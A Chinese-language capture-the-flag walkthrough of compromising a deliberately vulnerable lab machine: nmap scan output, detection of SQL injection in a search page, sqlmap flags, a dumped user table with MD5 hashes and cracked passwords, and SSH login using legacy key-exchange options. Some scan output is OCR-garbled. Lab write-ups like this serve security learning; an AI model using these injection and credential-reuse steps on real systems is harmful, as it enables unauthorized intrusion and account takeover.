

2023年9月17日 23:20

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1.主机发现以及端口扫描

```
# scan ct4a.nmap
# Nmap 7.94 scan initiated Thu Sep 14 23:27:15 2023 as: nmap -sT -sV -sC -o- p22.25.100,631--oAnmapsc
nmap/ct4a 192.168.253.142
Nmap scan report for 192.168.253.142
Host is up (0.00056s latency).

PORT      STATE SERVICE
22/tcp    open  ssh
OpenSSH 4.3 (protocol 2.0)

1 ssh-hostkey:
  1024 10:46:18:8f:90:0:72:27:b5:a4:33:93:3d:aa:9d:ef (DSA)
  1 2048 e7:70:43:b8:07:01:b8:6e:fd:1a:0e:00:ea:5cb:4 (RSA)

25/tcp    open  smtp
Sendmail 8.13.5/8.13.5

smtp-commands: ct4a.sas.upenn.edu Hello bogon [192.168.253.141] (may be forged), pleased to meet you
E, ENHANCEDSTATUSCODES, PIPELINING, EXPN, VERB, 8BITMIME, SIZE, DSN, ETRN, DELIVERY, HELP
L 2.0.0 This is sendmail version 8.13.52.0.0 Topics: 2.0.0 HELO EHLO MAIL RCPT DATA 2.0.0 RSET NOOP
QUIT HELP VRFY 2.0.0 EXPN VERB ETRN DSN AUTH 2.0.0 STARTTLS 2.0.0 For more info use "HELP <topic>".
2.0.0 To report bugs in the implementation send email to 2.0.0 sendmail-bugs@sendmail.org.
local information for email to Postmaster at your site. 2.0.0 End of HELP info

80/tcp    open  http
Apache httpd 2.2.0 (Fedora)

[http-robots.txt: 5 disallowed entries]
/_mail/_restricted/_conf/_jsq/_admin/_
/_http_title: Prof. Exhs
/_http_server_header: Apache/2.2.0 (Fedora)
631/tcp   closed ipp
MAC Address: 00:0C:29:23:FF:62 (Vmware)
Device type: general purpose/proxy server/remote management (terminal server)/switch/WAP
Running (JUST GUESSING): Linux 2.6.XB3.X(4) (96%), SoniWALL embedded (93%), Control4 embedded (93%)
_Lantronix embedded (93%), SNR embedded (93%), Dell iDRAC 6 (92%)
OS CPE:/o=hp/a=hp/c=hp/s=soniwall/av=avallent_ec-6000/cpe:/h=lantronix/slc-8/cpe:/s=snr-sr-52960/cpe:/o:dell/idrac6_firmware cpe:/o:linux/linux_kernel/3.10/cpe:/o:linux/linux_kernel/4
.1
Aggressive OS guesses: Linux 2.6.18 - 2.6.31 (96%), Linux 2.6.13 - 2.6.32 (95%), SoniWALL Aventuret E
X-6000 VPN appliance (93%), Control4 HC-300 home controller (93%), Lantronix SLC 8 terminal server [L
inux 2.6] (93%), SNR SNR-S2960 switch (93%), Linux 2.6.8 - 2.6.30 (92%), Linux 2.6.9 - 2.6.18 (92%),
Dell iDRAC 6 remote access controller (Linux 2.6) (92%), Linux 2.6.18 - 2.6.32 (92%)

No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: ct4a.sas.upenn.edu; OS: Unix

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
# Nmap done at Thu Sep 14 23:27:57 2023 -- 1 IP address (1 host up) scanned in 42.68 seconds
```

[illegible]

查看扫描得到的枚举目录，发现数据库有关的登录系统，邮件登录系统，还有一个存在search的网页：<http://192.168.253.142/index.html?page=contact&title=Contact>，search一下内容发现不成功，看到blog中存在四个内容标题，对相关标题进行搜索发现可以搜索，猜测有没有可能存在sql注入，在网页路劲中加入 ' 可以检测到存不存在，发现搜索失败则存在注入漏洞。

- dbs: 列举数据库管理系统中所有数据库

--dump: 查询全部数据

--batch: 非交互式使用 SQLMap, 所有的询问都选择默认, 存在可能无法找到注入的问题

Database: ehks

Table: user

[6 entries]

user_id	user_name	user_pass
1	dsteven	02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf)
2	achen	b46265f1e7faa3beab09db5c28739380 (seventysixers)
3	pmoore	8f4743c04ed8e5f39166a81f26319bb5 (Homesite)
4	jdurbin	7c7bc9f465d86b8164686ebb5151a717 (Sue1978)
5	sorzek	64d1f88b9b276aece4b0edcc25b7a434 (pacman)
6	ghighland	9f3eb3087298ff21843cc4e013cf355f (undone1)

1.ssh连接，用户achen登录成功且具有全部权限。

```
(kali@ ~) ssh achen@192.168.253.142
Unable to negotiate with 192.168.253.142 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
```

直接连接发现连接失败，显示要选择key的参数，出现该情况说明目标ssh比较老需要附加参数才能连接

2.尝试附加key参数 -oK tab查找

```
(kali@ ~) ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 achen@192.168.253.142
Unable to negotiate with 192.168.253.142 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
```

发现需要host key type -oH

ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 -oHostKeyAlgorithms=ssh-rsa,ssh-dss achen@192.168.253.142
登录成功